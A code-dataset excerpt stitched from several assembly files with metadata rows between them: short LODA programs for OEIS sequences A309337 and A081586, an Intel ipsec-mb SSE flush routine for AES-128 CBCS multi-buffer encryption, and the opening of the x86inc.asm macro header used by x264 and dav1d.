dif $1,2
add $1,$0
div $1,2
| 37.222222 | 235 | 0.719403 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/309/A309337.asm | 335 | Assembly |
;;
;; Copyright (c) 2020, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "include/os.asm"
%include "imb_job.asm"
%include "mb_mgr_datastruct.asm"
%include "include/reg_sizes.asm"
%define NUM_LANES 4
%ifndef AES_CBCS_ENC_X4
%define AES_CBCS_ENC_X4 aes_cbcs_1_9_enc_128_x4
%define FLUSH_JOB_AES_CBCS_ENC flush_job_aes128_cbcs_1_9_enc_sse
%endif
; void aes_cbcs_1_9_enc_128_x4(AES_ARGS *args, UINT64 len_in_bytes);
extern AES_CBCS_ENC_X4
section .text
%define APPEND(a,b) a %+ b
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%else
%define arg1 rcx
%define arg2 rdx
%endif
%define state arg1
%define len2 arg2
%define job_rax rax
%define unused_lanes rbx
%define tmp1 rbx
%define good_lane rdx
%define tmp2 rax
; idx needs to be in rbp
%define tmp rbp
%define idx rbp
%define tmp3 r8
; STACK_SPACE needs to be an odd multiple of 8
; This routine and its callee clobbers all GPRs
struc STACK
_gpr_save: resq 8
_rsp_save: resq 1
endstruc
; JOB* flush_job_aes128_cbcs_1_9_enc_sse(MB_MGR_AES_OOO *state)
; arg 1 : state
MKGLOBAL(FLUSH_JOB_AES_CBCS_ENC,function,internal)
FLUSH_JOB_AES_CBCS_ENC:
mov rax, rsp
sub rsp, STACK_size
and rsp, -16
mov [rsp + _gpr_save + 8*0], rbx
mov [rsp + _gpr_save + 8*1], rbp
mov [rsp + _gpr_save + 8*2], r12
mov [rsp + _gpr_save + 8*3], r13
mov [rsp + _gpr_save + 8*4], r14
mov [rsp + _gpr_save + 8*5], r15
%ifndef LINUX
mov [rsp + _gpr_save + 8*6], rsi
mov [rsp + _gpr_save + 8*7], rdi
%endif
mov [rsp + _rsp_save], rax ; original SP
; check for empty
mov unused_lanes, [state + _aes_unused_lanes]
bt unused_lanes, ((NUM_LANES * 4) + 3)
jc return_null
; find a lane with a non-null job
xor good_lane, good_lane
mov tmp3, 1
cmp qword [state + _aes_job_in_lane + 1*8], 0
cmovne good_lane, tmp3
inc tmp3
cmp qword [state + _aes_job_in_lane + 2*8], 0
cmovne good_lane, tmp3
inc tmp3
cmp qword [state + _aes_job_in_lane + 3*8], 0
cmovne good_lane, tmp3
; copy good_lane to empty lanes
mov tmp1, [state + _aes_args_in + good_lane*8]
mov tmp2, [state + _aes_args_out + good_lane*8]
mov tmp3, [state + _aes_args_keys + good_lane*8]
shl good_lane, 4 ; multiply by 16
movdqa xmm2, [state + _aes_args_IV + good_lane]
%assign I 0
%rep NUM_LANES
cmp qword [state + _aes_job_in_lane + I*8], 0
jne APPEND(skip_,I)
mov [state + _aes_args_in + I*8], tmp1
mov [state + _aes_args_out + I*8], tmp2
mov [state + _aes_args_keys + I*8], tmp3
movdqa [state + _aes_args_IV + I*16], xmm2
mov qword [state + _aes_lens_64 + 8*I], 0xffffffffffffffff
APPEND(skip_,I):
%assign I (I+1)
%endrep
; Find min length
mov len2, [state + _aes_lens_64 + 8*0]
xor idx, idx
mov tmp3, 1
cmp len2, [state + _aes_lens_64 + 8*1]
cmova len2, [state + _aes_lens_64 + 8*1]
cmova idx, tmp3
inc tmp3
cmp len2, [state + _aes_lens_64 + 8*2]
cmova len2, [state + _aes_lens_64 + 8*2]
cmova idx, tmp3
inc tmp3
cmp len2, [state + _aes_lens_64 + 8*3]
cmova len2, [state + _aes_lens_64 + 8*3]
cmova idx, tmp3
or len2, len2
jz len_is_0
; Round up to multiple of 16*10
; N = (length + 159) / 160 --> Number of 160-byte blocks
mov rax, len2
xor rdx, rdx ;; zero rdx for div
add rax, 159
mov tmp1, 160
div tmp1
; Number of 160-byte blocks in rax
mov tmp1, 160
mul tmp1
; Number of bytes to process in rax
mov len2, rax
xor tmp1, tmp1
%assign I 0
%rep NUM_LANES
mov tmp3, [state + _aes_lens_64 + 8*I]
sub tmp3, len2
cmovs tmp3, tmp1 ; 0 if negative number
mov [state + _aes_lens_64 + 8*I], tmp3
%assign I (I+1)
%endrep
; "state" and "args" are the same address, arg1
; len is arg2
call AES_CBCS_ENC_X4
; state and idx are intact
len_is_0:
; process completed job "idx"
mov job_rax, [state + _aes_job_in_lane + idx*8]
mov unused_lanes, [state + _aes_unused_lanes]
mov qword [state + _aes_job_in_lane + idx*8], 0
or dword [job_rax + _status], STS_COMPLETED_AES
shl unused_lanes, 4
or unused_lanes, idx
mov [state + _aes_unused_lanes], unused_lanes
%ifdef SAFE_DATA
;; clear returned jobs and "NULL lanes"
%assign I 0
%rep NUM_LANES
cmp qword [state + _aes_job_in_lane + I*8], 0
jne APPEND(skip_clear_,I)
APPEND(skip_clear_,I):
%assign I (I+1)
%endrep
%endif
return:
mov rbx, [rsp + _gpr_save + 8*0]
mov rbp, [rsp + _gpr_save + 8*1]
mov r12, [rsp + _gpr_save + 8*2]
mov r13, [rsp + _gpr_save + 8*3]
mov r14, [rsp + _gpr_save + 8*4]
mov r15, [rsp + _gpr_save + 8*5]
%ifndef LINUX
mov rsi, [rsp + _gpr_save + 8*6]
mov rdi, [rsp + _gpr_save + 8*7]
%endif
mov rsp, [rsp + _rsp_save] ; original SP
ret
return_null:
xor job_rax, job_rax
jmp return
%ifdef LINUX
section .note.GNU-stack noalloc noexec nowrite progbits
%endif
| 28.439655 | 81 | 0.6699 | [
"BSD-3-Clause"
] | ipuustin/intel-ipsec-mb | lib/sse/mb_mgr_aes128_cbcs_1_9_flush_sse.asm | 6,598 | Assembly |
; A081586: Fourth row of Pascal-(1,3,1) array A081578.
; 1,13,73,245,593,1181,2073,3333,5025,7213,9961,13333,17393,22205,27833,34341,41793,50253,59785,70453,82321,95453,109913,125765,143073,161901,182313,204373,228145,253693,281081,310373,341633,374925,410313,447861,487633,529693,574105,620933,670241,722093,776553,833685,893553,956221,1021753,1090213,1161665,1236173,1313801,1394613,1478673,1566045,1656793,1750981,1848673,1949933,2054825,2163413,2275761,2391933,2511993,2636005,2764033,2896141,3032393,3172853,3317585,3466653,3620121,3778053,3940513,4107565,4279273,4455701,4636913,4822973,5013945,5209893,5410881,5616973,5828233,6044725,6266513,6493661,6726233,6964293,7207905,7457133,7712041,7972693,8239153,8511485,8789753,9074021,9364353,9660813,9963465,10272373
mul $0,4
mov $1,$0
bin $0,3
mul $1,2
add $0,$1
add $0,1
| 82.7 | 714 | 0.824667 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/081/A081586.asm | 827 | Assembly |
;*****************************************************************************
;* x86inc.asm: x264asm abstraction layer
;*****************************************************************************
;* Copyright (C) 2005-2019 x264 project
;*
;* Authors: Loren Merritt <lorenm@u.washington.edu>
;* Henrik Gramner <henrik@gramner.com>
;* Anton Mitrofanov <BugMaster@narod.ru>
;* Fiona Glaser <fiona@x264.com>
;*
;* Permission to use, copy, modify, and/or distribute this software for any
;* purpose with or without fee is hereby granted, provided that the above
;* copyright notice and this permission notice appear in all copies.
;*
;* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
;* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
;* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
;* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
;* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
;* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
;* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
;*****************************************************************************
; This is a header file for the x264ASM assembly language, which uses
; NASM/YASM syntax combined with a large number of macros to provide easy
; abstraction between different calling conventions (x86_32, win64, linux64).
; It also has various other useful features to simplify writing the kind of
; DSP functions that are most often used in x264.
; Unlike the rest of x264, this file is available under an ISC license, as it
; has significant usefulness outside of x264 and we want it to be available
; to the largest audience possible. Of course, if you modify it for your own
; purposes to add a new feature, we strongly encourage contributing a patch
; as this feature might be useful for others as well. Send patches or ideas
; to x264-devel@videolan.org .
%include "config.asm"
%ifndef private_prefix
%define private_prefix dav1d
%endif
%ifndef public_prefix
%define public_prefix private_prefix
%endif
%ifndef STACK_ALIGNMENT
%if ARCH_X86_64
%define STACK_ALIGNMENT 16
%else
%define STACK_ALIGNMENT 4
%endif
%endif
%define WIN64 0
%define UNIX64 0
%if ARCH_X86_64
%ifidn __OUTPUT_FORMAT__,win32
%define WIN64 1
%elifidn __OUTPUT_FORMAT__,win64
%define WIN64 1
%elifidn __OUTPUT_FORMAT__,x64
%define WIN64 1
%else
%define UNIX64 1
%endif
%endif
%define FORMAT_ELF 0
%define FORMAT_MACHO 0
%ifidn __OUTPUT_FORMAT__,elf
%define FORMAT_ELF 1
%elifidn __OUTPUT_FORMAT__,elf32
%define FORMAT_ELF 1
%elifidn __OUTPUT_FORMAT__,elf64
%define FORMAT_ELF 1
%elifidn __OUTPUT_FORMAT__,macho
%define FORMAT_MACHO 1
%elifidn __OUTPUT_FORMAT__,macho32
%define FORMAT_MACHO 1
%elifidn __OUTPUT_FORMAT__,macho64
%define FORMAT_MACHO 1
%endif
%ifdef PREFIX
%define mangle(x) _ %+ x
%else
%define mangle(x) x
%endif
%macro SECTION_RODATA 0-1 16
%ifidn __OUTPUT_FORMAT__,win32
SECTION .rdata align=%1
%elif WIN64
SECTION .rdata align=%1
%else
SECTION .rodata align=%1
%endif
%endmacro
%if ARCH_X86_64
%define PIC 1 ; always use PIC on x86-64
default rel
%elifidn __OUTPUT_FORMAT__,win32
%define PIC 0 ; PIC isn't used on 32-bit Windows
%elifndef PIC
%define PIC 0
%endif
%define HAVE_PRIVATE_EXTERN 1
%ifdef __NASM_VER__
%use smartalign
%if __NASM_VERSION_ID__ < 0x020e0000 ; 2.14
%define HAVE_PRIVATE_EXTERN 0
%endif
%endif
; Macros to eliminate most code duplication between x86_32 and x86_64:
; Currently this works only for leaf functions which load all their arguments
; into registers at the start, and make no other use of the stack. Luckily that
; covers most of x264's asm.
; PROLOGUE:
; %1 = number of arguments. loads them from stack if needed.
; %2 = number of registers used. pushes callee-saved regs if needed.
; %3 = number of xmm registers used. pushes callee-saved xmm regs if needed.
; %4 = (optional) stack size to be allocated. The stack will be aligned before
; allocating the specified stack size. If the required stack alignment is
; larger than the known stack alignment the stack will be manually aligned
; and an extra register will be allocated to hold the original stack
; pointer (to not invalidate r0m etc.). To prevent the use of an extra
; register as stack pointer, request a negative stack size.
; %4+/%5+ = list of names to define to registers
; PROLOGUE can also be invoked by adding the same options to cglobal
; e.g.
; cglobal foo, 2,3,7,0x40, dst, src, tmp
; declares a function (foo) that automatically loads two arguments (dst and
; src) into registers, uses one additional register (tmp) plus 7 vector
; registers (m0-m6) and allocates 0x40 bytes of stack space.
; TODO Some functions can use some args directly from the stack. If they're the
; last args then you can just not declare them, but if they're in the middle
; we need more flexible macro.
; RET:
; Pops anything that was pushed by PROLOGUE, and returns.
; REP_RET:
; Use this instead of RET if it's a branch target.
; registers:
; rN and rNq are the native-size register holding function argument N
; rNd, rNw, rNb are dword, word, and byte size
; rNh is the high 8 bits of the word size
; rNm is the original location of arg N (a register or on the stack), dword
; rNmp is native size
%macro DECLARE_REG 2-3
%define r%1q %2
%define r%1d %2d
%define r%1w %2w
%define r%1b %2b
%define r%1h %2h
%define %2q %2
%if %0 == 2
%define r%1m %2d
%define r%1mp %2
%elif ARCH_X86_64 ; memory
%define r%1m [rstk + stack_offset + %3]
%define r%1mp qword r %+ %1 %+ m
%else
%define r%1m [rstk + stack_offset + %3]
%define r%1mp dword r %+ %1 %+ m
%endif
%define r%1 %2
%endmacro
%macro DECLARE_REG_SIZE 3
%define r%1q r%1
%define e%1q r%1
%define r%1d e%1
%define e%1d e%1
%define r%1w %1
%define e%1w %1
%define r%1h %3
%define e%1h %3
%define r%1b %2
%define e%1b %2
%if ARCH_X86_64 == 0
%define r%1 e%1
%endif
%endmacro
DECLARE_REG_SIZE ax, al, ah
DECLARE_REG_SIZE bx, bl, bh
DECLARE_REG_SIZE cx, cl, ch
DECLARE_REG_SIZE dx, dl, dh
DECLARE_REG_SIZE si, sil, null
DECLARE_REG_SIZE di, dil, null
DECLARE_REG_SIZE bp, bpl, null
; t# defines for when per-arch register allocation is more complex than just function arguments
%macro DECLARE_REG_TMP 1-*
%assign %%i 0
%rep %0
CAT_XDEFINE t, %%i, r%1
%assign %%i %%i+1
%rotate 1
%endrep
%endmacro
%macro DECLARE_REG_TMP_SIZE 0-*
%rep %0
%define t%1q t%1 %+ q
%define t%1d t%1 %+ d
%define t%1w t%1 %+ w
%define t%1h t%1 %+ h
%define t%1b t%1 %+ b
%rotate 1
%endrep
%endmacro
DECLARE_REG_TMP_SIZE 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14
%if ARCH_X86_64
%define gprsize 8
%else
%define gprsize 4
%endif
%macro LEA 2
%if ARCH_X86_64
lea %1, [%2]
%elif PIC
call $+5 ; special-cased to not affect the RSB on most CPU:s
pop %1
add %1, (%2)-$+1
%else
mov %1, %2
%endif
%endmacro
%macro PUSH 1
push %1
%ifidn rstk, rsp
%assign stack_offset stack_offset+gprsize
%endif
%endmacro
%macro POP 1
pop %1
%ifidn rstk, rsp
%assign stack_offset stack_offset-gprsize
%endif
%endmacro
%macro PUSH_IF_USED 1-*
%rep %0
%if %1 < regs_used
PUSH r%1
%endif
%rotate 1
%endrep
%endmacro
%macro POP_IF_USED 1-*
%rep %0
%if %1 < regs_used
pop r%1
%endif
%rotate 1
%endrep
%endmacro
%macro LOAD_IF_USED 1-*
%rep %0
%if %1 < num_args
mov r%1, r %+ %1 %+ mp
%endif
%rotate 1
%endrep
%endmacro
%macro SUB 2
sub %1, %2
%ifidn %1, rstk
%assign stack_offset stack_offset+(%2)
%endif
%endmacro
%macro ADD 2
add %1, %2
%ifidn %1, rstk
%assign stack_offset stack_offset-(%2)
%endif
%endmacro
%macro movifnidn 2
%ifnidn %1, %2
mov %1, %2
%endif
%endmacro
%if ARCH_X86_64 == 0
%define movsxd movifnidn
%endif
%macro movsxdifnidn 2
%ifnidn %1, %2
movsxd %1, %2
%endif
%endmacro
%macro ASSERT 1
%if (%1) == 0
%error assertion ``%1'' failed
%endif
%endmacro
%macro DEFINE_ARGS 0-*
%ifdef n_arg_names
%assign %%i 0
%rep n_arg_names
CAT_UNDEF arg_name %+ %%i, q
CAT_UNDEF arg_name %+ %%i, d
CAT_UNDEF arg_name %+ %%i, w
CAT_UNDEF arg_name %+ %%i, h
CAT_UNDEF arg_name %+ %%i, b
CAT_UNDEF arg_name %+ %%i, m
CAT_UNDEF arg_name %+ %%i, mp
CAT_UNDEF arg_name, %%i
%assign %%i %%i+1
%endrep
%endif
%xdefine %%stack_offset stack_offset
%undef stack_offset ; so that the current value of stack_offset doesn't get baked in by xdefine
%assign %%i 0
%rep %0
%xdefine %1q r %+ %%i %+ q
%xdefine %1d r %+ %%i %+ d
%xdefine %1w r %+ %%i %+ w
%xdefine %1h r %+ %%i %+ h
%xdefine %1b r %+ %%i %+ b
%xdefine %1m r %+ %%i %+ m
%xdefine %1mp r %+ %%i %+ mp
CAT_XDEFINE arg_name, %%i, %1
%assign %%i %%i+1
%rotate 1
%endrep
%xdefine stack_offset %%stack_offset
%assign n_arg_names %0
%endmacro
%define required_stack_alignment ((mmsize + 15) & ~15)
%define vzeroupper_required (mmsize > 16 && (ARCH_X86_64 == 0 || xmm_regs_used > 16 || notcpuflag(avx512)))
%define high_mm_regs (16*cpuflag(avx512))
%macro ALLOC_STACK 1-2 0 ; stack_size, n_xmm_regs (for win64 only)
%ifnum %1
%if %1 != 0
%assign %%pad 0
%assign stack_size %1
%if stack_size < 0
%assign stack_size -stack_size
%endif
%if WIN64
%assign %%pad %%pad + 32 ; shadow space
%if mmsize != 8
%assign xmm_regs_used %2
%if xmm_regs_used > 8
%assign %%pad %%pad + (xmm_regs_used-8)*16 ; callee-saved xmm registers
%endif
%endif
%endif
%if required_stack_alignment <= STACK_ALIGNMENT
; maintain the current stack alignment
%assign stack_size_padded stack_size + %%pad + ((-%%pad-stack_offset-gprsize) & (STACK_ALIGNMENT-1))
SUB rsp, stack_size_padded
%else
%assign %%reg_num (regs_used - 1)
%xdefine rstk r %+ %%reg_num
; align stack, and save original stack location directly above
; it, i.e. in [rsp+stack_size_padded], so we can restore the
; stack in a single instruction (i.e. mov rsp, rstk or mov
; rsp, [rsp+stack_size_padded])
%if %1 < 0 ; need to store rsp on stack
%xdefine rstkm [rsp + stack_size + %%pad]
%assign %%pad %%pad + gprsize
%else ; can keep rsp in rstk during whole function
%xdefine rstkm rstk
%endif
%assign stack_size_padded stack_size + ((%%pad + required_stack_alignment-1) & ~(required_stack_alignment-1))
mov rstk, rsp
and rsp, ~(required_stack_alignment-1)
sub rsp, stack_size_padded
movifnidn rstkm, rstk
%endif
WIN64_PUSH_XMM
%endif
%endif
%endmacro
%macro SETUP_STACK_POINTER 1
%ifnum %1
%if %1 != 0 && required_stack_alignment > STACK_ALIGNMENT
%if %1 > 0
; Reserve an additional register for storing the original stack pointer, but avoid using
; eax/rax for this purpose since it can potentially get overwritten as a return value.
%assign regs_used (regs_used + 1)
%if ARCH_X86_64 && regs_used == 7
%assign regs_used 8
%elif ARCH_X86_64 == 0 && regs_used == 1
%assign regs_used 2
%endif
%endif
%if ARCH_X86_64 && regs_used < 5 + UNIX64 * 3
; Ensure that we don't clobber any registers containing arguments. For UNIX64 we also preserve r6 (rax)
; since it's used as a hidden argument in vararg functions to specify the number of vector registers used.
%assign regs_used 5 + UNIX64 * 3
%endif
%endif
%endif
%endmacro
%macro DEFINE_ARGS_INTERNAL 3+
%ifnum %2
DEFINE_ARGS %3
%elif %1 == 4
DEFINE_ARGS %2
%elif %1 > 4
DEFINE_ARGS %2, %3
%endif
%endmacro
%if WIN64 ; Windows x64 ;=================================================
DECLARE_REG 0, rcx
DECLARE_REG 1, rdx
DECLARE_REG 2, R8
DECLARE_REG 3, R9
DECLARE_REG 4, R10, 40
DECLARE_REG 5, R11, 48
DECLARE_REG 6, rax, 56
DECLARE_REG 7, rdi, 64
DECLARE_REG 8, rsi, 72
DECLARE_REG 9, rbx, 80
DECLARE_REG 10, rbp, 88
DECLARE_REG 11, R14, 96
DECLARE_REG 12, R15, 104
DECLARE_REG 13, R12, 112
DECLARE_REG 14, R13, 120
%macro PROLOGUE 2-5+ 0 ; #args, #regs, #xmm_regs, [stack_size,] arg_names...
%assign num_args %1
%assign regs_used %2
ASSERT regs_used >= num_args
SETUP_STACK_POINTER %4
ASSERT regs_used <= 15
PUSH_IF_USED 7, 8, 9, 10, 11, 12, 13, 14
ALLOC_STACK %4, %3
%if mmsize != 8 && stack_size == 0
WIN64_SPILL_XMM %3
%endif
LOAD_IF_USED 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
DEFINE_ARGS_INTERNAL %0, %4, %5
%endmacro
%macro WIN64_PUSH_XMM 0
; Use the shadow space to store XMM6 and XMM7, the rest needs stack space allocated.
%if xmm_regs_used > 6 + high_mm_regs
movaps [rstk + stack_offset + 8], xmm6
%endif
%if xmm_regs_used > 7 + high_mm_regs
movaps [rstk + stack_offset + 24], xmm7
%endif
%assign %%xmm_regs_on_stack xmm_regs_used - high_mm_regs - 8
%if %%xmm_regs_on_stack > 0
%assign %%i 8
%rep %%xmm_regs_on_stack
movaps [rsp + (%%i-8)*16 + stack_size + 32], xmm %+ %%i
%assign %%i %%i+1
%endrep
%endif
%endmacro
%macro WIN64_SPILL_XMM 1
%assign xmm_regs_used %1
ASSERT xmm_regs_used <= 16 + high_mm_regs
%assign %%xmm_regs_on_stack xmm_regs_used - high_mm_regs - 8
%if %%xmm_regs_on_stack > 0
; Allocate stack space for callee-saved xmm registers plus shadow space and align the stack.
%assign %%pad %%xmm_regs_on_stack*16 + 32
%assign stack_size_padded %%pad + ((-%%pad-stack_offset-gprsize) & (STACK_ALIGNMENT-1))
SUB rsp, stack_size_padded
%endif
WIN64_PUSH_XMM
%endmacro
%macro WIN64_RESTORE_XMM_INTERNAL 0
%assign %%pad_size 0
%assign %%xmm_regs_on_stack xmm_regs_used - high_mm_regs - 8
%if %%xmm_regs_on_stack > 0
%assign %%i xmm_regs_used - high_mm_regs
%rep %%xmm_regs_on_stack
%assign %%i %%i-1
movaps xmm %+ %%i, [rsp + (%%i-8)*16 + stack_size + 32]
%endrep
%endif
%if stack_size_padded > 0
%if stack_size > 0 && required_stack_alignment > STACK_ALIGNMENT
mov rsp, rstkm
%else
add rsp, stack_size_padded
%assign %%pad_size stack_size_padded
%endif
%endif
%if xmm_regs_used > 7 + high_mm_regs
movaps xmm7, [rsp + stack_offset - %%pad_size + 24]
%endif
%if xmm_regs_used > 6 + high_mm_regs
movaps xmm6, [rsp + stack_offset - %%pad_size + 8]
%endif
%endmacro
%macro WIN64_RESTORE_XMM 0
WIN64_RESTORE_XMM_INTERNAL
%assign stack_offset (stack_offset-stack_size_padded)
%assign stack_size_padded 0
%assign xmm_regs_used 0
%endmacro
%define has_epilogue regs_used > 7 || stack_size > 0 || vzeroupper_required || xmm_regs_used > 6+high_mm_regs
%macro RET 0
WIN64_RESTORE_XMM_INTERNAL
POP_IF_USED 14, 13, 12, 11, 10, 9, 8, 7
%if vzeroupper_required
vzeroupper
%endif
AUTO_REP_RET
%endmacro
%elif ARCH_X86_64 ; *nix x64 ;=============================================
DECLARE_REG 0, rdi
DECLARE_REG 1, rsi
DECLARE_REG 2, rdx
DECLARE_REG 3, rcx
DECLARE_REG 4, R8
DECLARE_REG 5, R9
DECLARE_REG 6, rax, 8
DECLARE_REG 7, R10, 16
DECLARE_REG 8, R11, 24
DECLARE_REG 9, rbx, 32
DECLARE_REG 10, rbp, 40
DECLARE_REG 11, R14, 48
DECLARE_REG 12, R15, 56
DECLARE_REG 13, R12, 64
DECLARE_REG 14, R13, 72
%macro PROLOGUE 2-5+ 0 ; #args, #regs, #xmm_regs, [stack_size,] arg_names...
%assign num_args %1
%assign regs_used %2
%assign xmm_regs_used %3
ASSERT regs_used >= num_args
SETUP_STACK_POINTER %4
ASSERT regs_used <= 15
PUSH_IF_USED 9, 10, 11, 12, 13, 14
ALLOC_STACK %4
LOAD_IF_USED 6, 7, 8, 9, 10, 11, 12, 13, 14
DEFINE_ARGS_INTERNAL %0, %4, %5
%endmacro
%define has_epilogue regs_used > 9 || stack_size > 0 || vzeroupper_required
%macro RET 0
%if stack_size_padded > 0
%if required_stack_alignment > STACK_ALIGNMENT
mov rsp, rstkm
%else
add rsp, stack_size_padded
%endif
%endif
POP_IF_USED 14, 13, 12, 11, 10, 9
%if vzeroupper_required
vzeroupper
%endif
AUTO_REP_RET
%endmacro
%else ; X86_32 ;==============================================================
DECLARE_REG 0, eax, 4
DECLARE_REG 1, ecx, 8
DECLARE_REG 2, edx, 12
DECLARE_REG 3, ebx, 16
DECLARE_REG 4, esi, 20
DECLARE_REG 5, edi, 24
DECLARE_REG 6, ebp, 28
%define rsp esp
%macro DECLARE_ARG 1-*
%rep %0
%define r%1m [rstk + stack_offset + 4*%1 + 4]
%define r%1mp dword r%1m
%rotate 1
%endrep
%endmacro
DECLARE_ARG 7, 8, 9, 10, 11, 12, 13, 14
%macro PROLOGUE 2-5+ ; #args, #regs, #xmm_regs, [stack_size,] arg_names...
%assign num_args %1
%assign regs_used %2
ASSERT regs_used >= num_args
%if num_args > 7
%assign num_args 7
%endif
%if regs_used > 7
%assign regs_used 7
%endif
SETUP_STACK_POINTER %4
ASSERT regs_used <= 7
PUSH_IF_USED 3, 4, 5, 6
ALLOC_STACK %4
LOAD_IF_USED 0, 1, 2, 3, 4, 5, 6
DEFINE_ARGS_INTERNAL %0, %4, %5
%endmacro
%define has_epilogue regs_used > 3 || stack_size > 0 || vzeroupper_required
%macro RET 0
%if stack_size_padded > 0
%if required_stack_alignment > STACK_ALIGNMENT
mov rsp, rstkm
%else
add rsp, stack_size_padded
%endif
%endif
POP_IF_USED 6, 5, 4, 3
%if vzeroupper_required
vzeroupper
%endif
AUTO_REP_RET
%endmacro
%endif ;======================================================================
%if WIN64 == 0
%macro WIN64_SPILL_XMM 1
%endmacro
%macro WIN64_RESTORE_XMM 0
%endmacro
%macro WIN64_PUSH_XMM 0
%endmacro
%endif
; On AMD cpus <=K10, an ordinary ret is slow if it immediately follows either
; a branch or a branch target. So switch to a 2-byte form of ret in that case.
; We can automatically detect "follows a branch", but not a branch target.
; (SSSE3 is a sufficient condition to know that your cpu doesn't have this problem.)
%macro REP_RET 0
%if has_epilogue || cpuflag(ssse3)
RET
%else
rep ret
%endif
annotate_function_size
%endmacro
%define last_branch_adr $$
%macro AUTO_REP_RET 0
%if notcpuflag(ssse3)
times ((last_branch_adr-$)>>31)+1 rep ; times 1 iff $ == last_branch_adr.
%endif
ret
annotate_function_size
%endmacro
%macro BRANCH_INSTR 0-*
%rep %0
%macro %1 1-2 %1
%2 %1
%if notcpuflag(ssse3)
%%branch_instr equ $
%xdefine last_branch_adr %%branch_instr
%endif
%endmacro
%rotate 1
%endrep
%endmacro
BRANCH_INSTR jz, je, jnz, jne, jl, jle, jnl, jnle, jg, jge, jng, jnge, ja, jae, jna, jnae, jb, jbe, jnb, jnbe, jc, jnc, js, jns, jo, jno, jp, jnp
%macro TAIL_CALL 1-2 1 ; callee, is_nonadjacent
%if has_epilogue
call %1
RET
%elif %2
jmp %1
%endif
annotate_function_size
%endmacro
;=============================================================================
; arch-independent part
;=============================================================================
%assign function_align 16
; Begin a function.
; Applies any symbol mangling needed for C linkage, and sets up a define such that
; subsequent uses of the function name automatically refer to the mangled version.
; Appends cpuflags to the function name if cpuflags has been specified.
; The "" empty default parameter is a workaround for nasm, which fails if SUFFIX
; is empty and we call cglobal_internal with just %1 %+ SUFFIX (without %2).
%macro cglobal 1-2+ "" ; name, [PROLOGUE args]
cglobal_internal 1, %1 %+ SUFFIX, %2
%endmacro
%macro cvisible 1-2+ "" ; name, [PROLOGUE args]
cglobal_internal 0, %1 %+ SUFFIX, %2
%endmacro
%macro cglobal_internal 2-3+
annotate_function_size
%ifndef cglobaled_%2
%if %1
%xdefine %2 mangle(private_prefix %+ _ %+ %2)
%else
%xdefine %2 mangle(public_prefix %+ _ %+ %2)
%endif
%xdefine %2.skip_prologue %2 %+ .skip_prologue
CAT_XDEFINE cglobaled_, %2, 1
%endif
%xdefine current_function %2
%xdefine current_function_section __SECT__
%if FORMAT_ELF
%if %1
global %2:function hidden
%else
global %2:function
%endif
%elif FORMAT_MACHO && HAVE_PRIVATE_EXTERN && %1
global %2:private_extern
%else
global %2
%endif
align function_align
%2:
RESET_MM_PERMUTATION ; needed for x86-64, also makes disassembly somewhat nicer
%xdefine rstk rsp ; copy of the original stack pointer, used when greater alignment than the known stack alignment is required
%assign stack_offset 0 ; stack pointer offset relative to the return address
%assign stack_size 0 ; amount of stack space that can be freely used inside a function
%assign stack_size_padded 0 ; total amount of allocated stack space, including space for callee-saved xmm registers on WIN64 and alignment padding
%assign xmm_regs_used 0 ; number of XMM registers requested, used for dealing with callee-saved registers on WIN64 and vzeroupper
%ifnidn %3, ""
PROLOGUE %3
%endif
%endmacro
; Create a global symbol from a local label with the correct name mangling and type
%macro cglobal_label 1
%if FORMAT_ELF
global current_function %+ %1:function hidden
%elif FORMAT_MACHO && HAVE_PRIVATE_EXTERN
global current_function %+ %1:private_extern
%else
global current_function %+ %1
%endif
%1:
%endmacro
%macro cextern 1
%xdefine %1 mangle(private_prefix %+ _ %+ %1)
CAT_XDEFINE cglobaled_, %1, 1
extern %1
%endmacro
; like cextern, but without the prefix
%macro cextern_naked 1
%ifdef PREFIX
%xdefine %1 mangle(%1)
%endif
CAT_XDEFINE cglobaled_, %1, 1
extern %1
%endmacro
%macro const 1-2+
%xdefine %1 mangle(private_prefix %+ _ %+ %1)
%if FORMAT_ELF
global %1:data hidden
%elif FORMAT_MACHO && HAVE_PRIVATE_EXTERN
global %1:private_extern
%else
global %1
%endif
%1: %2
%endmacro
